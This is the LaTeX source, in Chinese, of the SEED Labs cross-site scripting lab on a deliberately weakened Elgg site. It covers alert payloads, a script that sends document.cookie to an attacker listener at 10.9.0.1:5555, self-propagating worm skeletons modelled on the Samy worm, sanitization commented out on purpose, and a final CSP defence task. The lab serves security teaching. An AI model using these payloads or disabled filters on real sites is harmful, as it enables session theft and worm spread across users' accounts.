%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  版权由杜文亮所有。                                     %%
%%  本作品采用知识共享署名-非商业性使用-相同方式共享4.0国际许可协议授权。 %%
%%  您可访问 http://creativecommons.org/licenses/by-nc-sa/4.0/ 查看该许可条款。%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}
\newcommand{\webcommon}{../Web_Common}

\input{\commonfolder/header}
\input{\commonfolder/copyright}


\lhead{\bfseries SEED 实验 -- 跨站脚本攻击实验}

\begin{document}

\begin{center}
{\LARGE 跨站脚本（XSS）攻击实验}
\vspace{0.1in}\\
{\Large (Web 应用程序：Elgg)}
\end{center}

\seedlabcopyright{2006 - 2020}

\section{概述}

跨站脚本（XSS）是一种在 web 应用程序中常见的漏洞。此漏洞使得攻击者能够将恶意代码（例如 JavaScript 程序）注入受害者的 web 浏览器。利用这种恶意代码，攻击者可以窃取受害者的身份信息，例如 session cookie。攻击者利用这个漏洞，可以绕过浏览器的访问控制机制。

为了演示攻击者通过利用 XSS 漏洞能够做到的事情，我们已经在预构建的 Ubuntu 虚拟机镜像中设置了一个名为 {\tt Elgg} 的 web 应用程序。{\tt Elgg} 是一个流行的开源社交网络应用程序，并且已经实现了许多对策来应对 XSS 威胁。为了演示如何实现 XSS 攻击，我们在安装过程中注释掉了相应的代码，故意使 {\tt Elgg} 暴露在 XSS 攻击之下。没有这些防疫措施，用户可以在该社交网络发布任意消息，包括 JavaScript 程序。

在这个实验中，学生需要利用此漏洞对修改后的 {\tt Elgg} 发起一个 XSS 攻击，类似于 2005 年 Samy Kamkar 在 {\tt MySpace} 上通过 Samy 蠕虫所做的攻击。这个攻击的最终目标是在该社交网上传播一个 XSS 蠕虫。用户一旦感染，他们会将你（即攻击者）添加为好友。该实验包括以下主题：

\begin{itemize}[noitemsep]
 \item 跨站脚本攻击
 \item XSS 蠕虫和自我传播
 \item 会话 cookie
 \item HTTP GET 和 POST 请求
 \item JavaScript 和 Ajax
 \item 内容安全策略（CSP）
\end{itemize}


\paragraph{参考资料。}
有关跨站脚本攻击的详细内容可以在以下章节中找到：

\begin{itemize}
\item SEED Book，\seedbook
\end{itemize}

\paragraph{实验环境。} 
\seedenvironmentB  
\nodependency

% *******************************************
% SECTION
% ******************************************* 
\section{实验环境搭建}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{DNS 配置}

我们为这个实验设置了多个网站，这些网站的服务器都在由容器 \texttt{10.9.0.5} 上。我们需要将各个网站的名称映射到这个 IP 地址。请在 \texttt{/etc/hosts} 中添加以下条目。你需要使用 root 权限来修改这个文件：

\begin{lstlisting}
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com
\end{lstlisting}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{容器配置和命令}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/setup}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Elgg Web 应用程序}

在这个实验中，我们使用一个开源 web 应用程序 {\tt Elgg}。{\tt Elgg} 是一个基于网络的社交网络应用程序，并且已经设置在提供的容器镜像中；其 URL 为 \url{http://www.seed-server.com}。我们使用两个容器：一个是运行 web 服务器 (\texttt{10.9.0.5})，另一个是运行 MySQL 数据库 (\texttt{10.9.0.6})。这两个容器的 IP 地址已经用在了配置中，因此请不要在 \texttt{docker-compose.yml} 文件中改变它们。

% MySQL 数据库
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/mysql}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/elgg_accounts}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


% *******************************************
% SECTION
% ******************************************* 
\section{实验任务}

当你从 PDF 文件复制粘贴代码时，引号（特别是单引号）会被复制成看起来相似的其他符号。这会导致代码出错，请注意这一点。如果出现这种情况，请删除这些符号，并手动输入正确的符号。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{准备工作：熟悉``HTTP Header Live''工具}

在这个实验中，我们需要构建 HTTP 请求。为了弄清楚在 Elgg 中的 HTTP 请求是什么样的，我们需要能够捕获和分析 HTTP 请求。为此可以使用一个名为 HTTP Header Live 的 Firefox 插件。在开始这个实验之前，请先熟悉这个工具的用法。工具使用的说明详见 \S~\ref{web:sec:httpheaderlive}。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 1：发布恶意消息以显示警告窗口}

本任务的目标是在你的 {\tt Elgg} 个人资料中嵌入一个 JavaScript 程序，使得当其他用户查看你的个人资料时，JavaScript 程序会被执行，在屏幕上弹出一个警告窗口。以下的 JavaScript 程序会显示一个警告窗口：
\begin{lstlisting}
<script>alert('XSS');</script> 
\end{lstlisting}
如果你在个人资料中（例如简短描述字段）嵌入了上述 JavaScript 代码，那么任何查看你资料的人都会在屏幕上看到警告窗口。

在上面的例子里，JavaScript 代码很短，可以直接放在简短描述字段。如果你想运行一个较长的 JavaScript 程序，但受限字段长度的限制，你可以将该程序放在一个网站，然后通过 {\tt src} 属性装载它。以下是一个例子：
\begin{lstlisting}
<script type="text/javascript" 
        src="http://www.example.com/myscripts.js">
</script>
\end{lstlisting}
在这个例子中，页面将从 \url{http://www.example.com} 获取 JavaScript 程序，这可以是任何 web 服务器。


% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 2：显示受害者的 Cookie}

本任务的目标是在你的 {\tt Elgg} 资料中嵌入一个 JavaScript 程序，使得当其他用户查看你的个人资料时，会在警告窗口中显示该用户的 cookie。这可以在上一步程序的基础上添加一些额外的代码来实现：
\begin{lstlisting}
<script>alert(document.cookie);</script> 
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 3：从受害者的机器窃取 Cookie}

在前一个任务中，攻击者编写的恶意 JavaScript 程序可以打印出用户的 cookie，但只有用户能看见这些 cookie，而攻击者不能。在本任务中，攻击者希望将这些 cookie 发送到自己那里。为此，恶意 JavaScript 需要向攻击者的机器发送一个 HTTP 请求，并在请求中附带 cookie。

我们可以让恶意 JavaScript 在网页中插入一个 {\tt $<$img$>$} 标签来实现这一点，其 {\tt src} 属性设置为攻击者的机器地址。当 JavaScript 插入 {\tt img} 标签时，浏览器会从 {\tt src} 字段中指定的 URL 那里下载图像。这会产生一个 HTTP GET 请求，发送到攻击者机器。以下给出的 JavaScript 会往攻击者的机器（IP 地址 \texttt{10.9.0.1}）上的端口 5555 处发送 cookie，而那里运行着一个 TCP 服务器。

\begin{lstlisting}
<script>document.write('<img src=http://10.9.0.1:5555?c=' 
                       + escape(document.cookie) + '   >'); 
</script> 
\end{lstlisting}

{\tt Netcat}（或 {\tt nc}）是攻击者常用的一个工具。运行带有 {\tt "-l"} 选项时，它会变成一个监听指定端口的 TCP 服务器。这个服务器会打印出客户端发来的信息，并将用户输入的内容发回给客户端。以下的命令监听端口 \texttt{5555} ：

\begin{lstlisting}
$ nc -lknv 5555 
\end{lstlisting}

\indent 选项 {\tt -l} 指定 {\tt nc} 运行一个服务器；选项 {\tt -n} 使 {\tt nc} 不对地址做 DNS 解析；选项 {\tt -v} 使 {\tt nc} 输出更详细的信息。选项 {\tt -k} 表示当一次连接完成后，继续等待其他连接。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 4：成为受害者的``好友''}

在这个任务和下一个任务中，我们将执行类似于 Samy 在 2005 年对 MySpace 所做的攻击（即 Samy 蠕虫）。我们将编写一个 XSS 蠕虫，使得任何访问 Samy 页面的用户都会自动将 Samy 添加为好友。这个蠕虫先不会自我传播，在任务 6 中，我们会实现自我传播。

在这个任务中，我们需要编写一个恶意 JavaScript 程序，直接从受害者的浏览器发出``添加好友''的 HTTP 请求，从而将 Samy 添加为受害者的好友。我们已经在 {\tt Elgg} 服务器上创建了一个名为 Samy 的用户（用户名为 {\tt samy}）。

要为受害者添加朋友，首先需要弄清楚在 {\tt Elgg} 中用户是如何合法添加好友的。更具体地说，我们需要知道当用户添加好友时都发送了什么信息到服务器。我们可以使用 Firefox 的 \texttt{HTTP} 检查工具来获取这些信息，它可以显示浏览器发送的任何 HTTP 请求的内容。从内容中我们可以识别出请求中的所有参数。章节~\ref{xss:sec:guidelines} 提供了该工具的使用指南。

了解了添加好友时的 HTTP 请求后，我们可以通过编写一个 JavaScript 程序来发出相同的 HTTP 请求。我们提供了一个 JavaScript 代码框架。

\begin{lstlisting}
<script type="text/javascript">
window.onload = function () {
  var Ajax=null;

  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;          (*@ \ding{192} @*)
  var token="&__elgg_token="+elgg.security.token.__elgg_token; (*@ \ding{193} @*)

  // 构建添加 Samy 为好友的 HTTP 请求。
  var sendurl=...;  //FILL IN

  // 创建并发送 Ajax 请求，以添加好友
  Ajax=new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.send();
} 
</script>
\end{lstlisting}

上述代码应放置在 Samy 个人资料（profile）页面的 \texttt{"About Me"} 字段中。这个字段提供了两种编辑模式：编辑器模式（默认）和文本模式。使用编辑器模式时，编辑器会在输入的文本中添加额外的 HTML 代码，而使用文本模式时不会。我们不想向攻击代码添加任何额外的字符，因此我们需要选择文本模式。点击位于 \texttt{"About Me"} 字段顶部右侧的 \texttt{"Edit HTML"} 进入文本模式。


\paragraph{问题。} 请回答以下问题：

\begin{itemize}
\item \textbf{问题1：} 解释第\ding{192}行和第\ding{193}行的目的，为什么它们是必要的？

\item \textbf{问题2：} 如果Elgg应用程序仅提供编辑器模式，即你无法切换到文本模式，你能成功发起攻击吗？
\end{itemize}




% -------------------------------------------
% 子节标题
% ------------------------------------------- 
\subsection{任务5：修改受害者的资料}

本任务的目标是在受害者访问Samy页面时修改其资料。具体来说，要修改 \texttt{"About Me"} 字段的内容。我们将编写一个XSS蠕虫来完成此任务。这个蠕虫不具有自我传播能力。在任务6中，我们会加上自我传播的能力。

和前一个任务类似，我们需要编写一个恶意的 JavaScript 程序，直接从受害者的浏览器发起 HTTP 请求。我们首先需要了解合法用户是如何编辑或修改其个人资料的。具体来说，我们需要弄清楚构造修改用户资料的 HTTP POST 请求的方式。我们将使用 Firefox 的 HTTP 检查工具。一旦理解了修改个人资料的 HTTP POST 请求的格式，我们就可以编写一个JavaScript程序来发出相同的HTTP请求。我们提供了一个 JavaScript 代码框架。

\begin{lstlisting}
<script type="text/javascript">
window.onload = function(){
  // 获取 user name, user guid, Time Stamp __elgg_ts，和 Security Token __elgg_token
  var userName="&name="+elgg.session.user.name;
  var guid="&guid="+elgg.session.user.guid;
  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&__elgg_token="+elgg.security.token.__elgg_token;

  //构造URL的内容
  var content=...;     //填空

  var samyGuid=...;    //填空
  
  var sendurl=...;     //填空
  
  if(elgg.session.user.guid!=samyGuid)           (*@ \ding{192} @*)
  {
     // 创建并发送AJAX请求，以修改个人资料
     var Ajax=null;
     Ajax=new XMLHttpRequest();
     Ajax.open("POST", sendurl, true);
     Ajax.setRequestHeader("Content-Type",
                           "application/x-www-form-urlencoded");
     Ajax.send(content);
  }
}
</script>
\end{lstlisting}

类似于任务4，上述代码应放置在 Samy 的个人资料页面的 \texttt{"About Me"} 字段中，并且在输入上述 JavaScript 代码之前需要转换到文本模式。

\paragraph{问题。} 请回答以下问题：

\begin{itemize}
\item \textbf{问题3：} 为什么我们需要第\ding{192}行？删除该行后再做攻击，报告并解释观察结果。
\end{itemize}




% -------------------------------------------
% 子节标题
% ------------------------------------------- 
\subsection{任务6：编写自我传播的XSS蠕虫}

要成为真正的蠕虫，恶意JavaScript程序应该能够自动传播。每当一个用户查看受感染者的个人资料时，不仅这个用户的个人资料会被修改，蠕虫程序还会拷贝到该用户的个人资料中，使得这个用户也成为了蠕虫的携带者。这样，查看受感染个人资料的人越多，蠕虫传播得就越快。这与Samy蠕虫的机制相同：在2005年10月4日发布后的20小时内，超过一百万用户受到影响，使Samy成为当时历史上传播速度最快的病毒之一。

能够实现这一功能的JavaScript代码被称为{\em 自我传播跨站脚本攻击蠕虫}。在这个任务中，你需要实现这样一个蠕虫，它不仅会修改受害者的个人资料，并将用户 Samy 添加为受害者好友，还会将自身复制到受害者的个人资料中，使受害者变成一个攻击者。

为了实现自我传播，在恶意JavaScript程序修改受害者个人资料时应该将其自身复制到受害者的个人资料中。有几种方法可以实现这一点，我们讨论其中两种常见的方法。


\paragraph{链接方法：} 如果蠕虫是通过 <script> 标签的 src 属性来下载的，那么编写自我传播蠕虫会容易得多。我们已在任务1中讨论了 src 属性，并给出了一个例子。蠕虫可以简单地将以下 <script> 标签复制到受害者的个人资料中就可以了。

\begin{lstlisting}
<script type="text/javascript" src="http://www.example.com/xss_worm.js">
</script>
\end{lstlisting} 

\paragraph{DOM方法：} 如果整个JavaScript程序（即蠕虫）被嵌入在受感染的个人资料中，为了传播蠕虫到另一个个人资料，蠕虫代码可以使用DOM API从网页中找到其自身的代码。下面给出一个使用DOM API的例子。这段代码会获取自身代码的一个副本，并在警告窗口中显示它：

{\footnotesize
\begin{lstlisting}
<script id="worm">
   var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; (*@ \ding{192} @*)
   var jsCode = document.getElementById("worm").innerHTML;          (*@ \ding{193} @*)
   var tailTag = "</" + "script>";                                  (*@ \ding{194} @*)
   
   var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); (*@ \ding{195} @*)
      
   alert(jsCode);
</script>
\end{lstlisting}
}

需要注意的是，第\ding{193}行仅提供代码的内部部分，并未包含周围的 <script> 标签。我们只需要添加开始标签\texttt{<script id="worm">}（行\ding{192}）和结束标签 \texttt{</script>}（行\ding{194}），以形成一个完整的恶意代码副本。

当 HTTP POST 请求里的 Content-Type 被设置为 application/x-www-form-urlencoded 时， 数据也应进行编码。编码方案称为{\em URL encoding}，它将数据中的非字母数字字符替换为百分号和两位十六进制数字表示的ASCII码。行\ding{195}中的 encodeURIComponent() 函数用于对字符串进行URL编码。

\paragraph{注意事项：} 在本次实验中，你可以尝试使用链接方法和DOM方法两种方式，但DOM方法是必须做的，因为它更具挑战性且不依赖于外部JavaScript代码。



% -------------------------------------------
% 子节标题
% ------------------------------------------- 
\subsection{Elgg的防范措施}

这部分的内容仅供参考，并无特定任务。它展示了Elgg如何防御XSS攻击。Elgg确实有内置的防范措施，但我们已经关掉了这些措施以便攻击成功。Elgg使用了两种防范措施。一个是安全插件 HTMLawed，它可以验证用户输入并从中删除危险的内容。我们已经在 input.php 文件中的 filter\_tags() 函数内部注释掉了对插件的调用，该文件位于 \path{vendor/elgg/elgg/engine/lib/} 目录下。请参见以下内容：

\begin{lstlisting}
function filter_tags($var) {
   // return elgg_trigger_plugin_hook('validate', 'input', null, $var);
   return $var;
}
\end{lstlisting}

除了 HTMLawed，Elgg还使用了PHP内置的 htmlspecialchars() 来对用户输入中的特殊字符进行编码。例如，将 {\tt "<"} 变成 {\tt "\&lt"}, {\tt ">"} 变成 {\tt "\&gt"} 等。这种方法在 dropdown.php, text.php 和 url.php 文件中被调用（这些文件位于 \path{vendor/elgg/elgg/views/default/output/}目录下）。我们注释掉了它们，以关闭防范措施。

% *******************************************
% 段落
% *******************************************
\section{任务7：使用CSP防御XSS攻击}

XSS漏洞的根本问题在于HTML允许JavaScript代码与数据混在一起。因此，要解决这一根本问题，我们需要将代码和数据分离开来。有两钟方法可以在HTML页面中放JavaScript代码，一种是内嵌方式，另一种是链接方式。
内嵌方式直接在页面中放置代码，而链接方式则将其放在外部文件中，在页面内部链该文件。

内嵌方式是XSS漏洞的罪魁祸首，因为浏览器不知道代码最初来自哪里。它是来自可信的Web服务器，还是来自不可信的用户？不知代码的真正来源，浏览器无法知道哪些代码可以安全执行，哪些代码存在危险。
链接方式向浏览器提供了非常重要的信息，即代码的来源。网站可以告诉浏览器哪些源是可信赖的，这样浏览器就知道哪些代码可以安全执行。尽管攻击者也可以使用链接方式将代码包含在其输入中，但他们没法将代码放在可信的地方。

网站如何告知浏览器哪个代码源是可信的是通过一个名为内容安全性策略（CSP）的安全机制实现的。该机制专门设计用于击败XSS和点击劫持攻击。它已经成为一项标准，在如今的大多数浏览器中都得到了支持。CSP不仅限制JavaScript代码，还限制其他页面内容，例如限定图片、音频和视频可以从哪里来等，并且还可以限制一个页面是否可以被嵌入到 iframe 中（用于防止点击劫持攻击）。在这里，我们将仅专注于如何使用CSP防御XSS攻击。

% -------------------------------------------
% 子节标题
% -------------------------------------------
\subsection{实验网站设置}

为了在CSP上进行实验，我们需要设置几个网站。在 Labsetup/image\_www 的 Docker镜像文件夹中，有一个名为apache\_csp.conf 的 Apache 配置文件。它定义了五个网站，它们使用相同文件夹中的不同文件。
example60 和 example70 网站用于放 JavaScript 代码。example32a, example32b, 和 example32c 网站有着不同的CSP配置。稍后会解释这些配置的详细信息。

\paragraph{修改配置文件。}
在实验中，你需要修改这个 Apache 配置文件（apache\_csp.conf）。如果你直接在Docker镜像文件夹内的文件上进行修改，需要重新构建镜像并重启容器以使更改生效。你也可以使用 docker cp 命令将文件拷贝到运行的容器中或从中将文件拷出。

你也可以在运行中的容器内直接修改该文件。这种做法的一个缺点是，为了保持Docker镜像较小，我们仅在容器中安装了一个非常简单的文本编辑器 nano。对于简单编辑应该足够了。如果你不喜欢它，可以向 Dockerfile 添加一条安装命令以安装你喜欢的命令行文本编辑器。在运行中的容器内，你可以在 \path{/etc/apache2/sites-available} 文件夹内找到配置文件 apache\_csp.conf。修改后需要重启 Apache 服务器才能使更改生效：

\begin{lstlisting}
# service apache2 restart
\end{lstlisting}

\paragraph{DNS设置。}
我们将在虚拟机上访问上述网站。为了通过各自的URL访问它们，我们需要在 /etc/hosts 文件中添加以下条目。这会将主机名映射到服务器容器的IP地址 10.9.0.5。更改此文件需要用 root 权限（使用sudo）。

\begin{lstlisting}
10.9.0.5       www.example32a.com
10.9.0.5       www.example32b.com
10.9.0.5       www.example32c.com
10.9.0.5       www.example60.com
10.9.0.5       www.example70.com
\end{lstlisting}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{实验的网页}

服务器 example32(a|b|c) 上放的网页都一样，都是这个 \texttt{index.html}，它用于演示 CSP 的工作原理。在这个网页中，有六个区域，分别称为 \texttt{area1} 到 \texttt{area6}。在初始状态下，每个区域都会显示 \texttt{Failed}。页面还包括六段JavaScript代码，每一段代码运行的结果是在其对应的区域写入 \texttt{OK}。如果我们看到某个区域中有 \texttt{OK}，则说明对应该区域的JavaScript代码已经成功执行，否则，我们只会看到 \texttt{Failed}。此外，在这个页面上还有一个按钮。如果点击它，它对应的JavaScript代码会被触发，会弹出一个窗口。

\begin{lstlisting}[caption={实验网页 \texttt{index.html}}]
<html>
<h2 >CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id='area1'>Failed</span></p>
<p>2. Inline: Nonce (222-222-222): <span id='area2'>Failed</span></p>
<p>3. Inline: No Nonce: <span id='area3'>Failed</span></p>
<p>4. From self: <span id='area4'>Failed</span></p>
<p>5. From www.example60.com: <span id='area5'>Failed</span></p>
<p>6. From www.example70.com: <span id='area6'>Failed</span></p>
<p>7. From button click: 
      <button onclick="alert('JS Code executed!')">Click me</button></p>

<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "OK";
</script>

<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "OK";
</script>

<script type="text/javascript">
document.getElementById('area3').innerHTML = "OK";
</script>

<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>
</html>

\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{设置CSP策略}  

CSP 策略是网页服务器在 HTTP 信息的头部设置的。有两种典型的方法来设置这个头，一种是通过网页服务器（如Apache），另一种是通过网页应用程序。在本实验中，我们将分别使用这两种方法来进行实验。

\paragraph{通过Apache设置CSP策略。}
Apache可以为所有响应设置HTTP头，因此我们可以通过Apache来设置CSP策略。在我们的配置中，设置了三个网站，但只有第二个站点设置了CSP策略（用 \ding{110} 标记的地方）。这样设置后，当我们访问 \texttt{example32b} 时，Apache会在该站点的所有响应中添加指定的CSP头。

\begin{lstlisting}
# 目的：不设置CSP策略
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32a.com
    DirectoryIndex index.html
</VirtualHost>

# 目的：在Apache配置中设置CSP策略
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \          (*@\ding{110}@*)
             default-src 'self'; \                  (*@\ding{110}@*)
             script-src 'self' *.example70.com \    (*@\ding{110}@*)
           "
</VirtualHost>

# 目的：在网页应用程序中设置CSP策略
<VirtualHost *:80>                                  (*@\ding{108}@*)
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php
</VirtualHost>
\end{lstlisting}

\paragraph{通过网页应用程序设置CSP策略。}
在我们配置文件中的第三个 \texttt{VirtualHost} 条目（标记为 \ding{108}），没有设置任何CSP策略。然而，该站点的入口点是 \texttt{phpindex.php}，这是一个PHP程序。该程序会在生成的响应中添加一个CSP头。

\begin{lstlisting}
<?php
  $cspheader = "Content-Security-Policy:".
               "default-src 'self';".
               "script-src 'self' 'nonce-111-111-111' *.example70.com".
               "";
  header($cspheader);
?>

<?php include 'index.html';?>
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{实验任务} 

在启动容器后，请从您的虚拟机（VM）访问以下URL（别忘了前面提到的改 /etc/hosts 文件）。

\begin{lstlisting}
http://www.example32a.com
http://www.example32b.com
http://www.example32c.com
\end{lstlisting}

\begin{enumerate}

\item 描述并解释当您访问这些网站时的观察结果。

\item 点击来自这三个网站的网页上的按钮，描述并解释您的观察结果。 

\item 修改 \texttt{example32b} 的服务器配置（修改Apache配置），使得区域 5 和 6 显示为 \texttt{OK}。请在实验报告中包含您修改后的配置。

\item 修改 \texttt{example32c} 的服务器配置（修改PHP代码），使得区域 1、2、4、5 和 6 都显示为 \texttt{OK}。请在实验报告中包含您修改后的配置。

\item 解释为什么CSP可以防止跨站脚本攻击。

\end{enumerate}

% *******************************************
% SECTION
% -------------------------------------------
\section{指南}
\label{xss:sec:guidelines}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/Web_Dev_Tools}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% *******************************************
% SECTION
% -------------------------------------------
\section{提交作业}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\end{document}
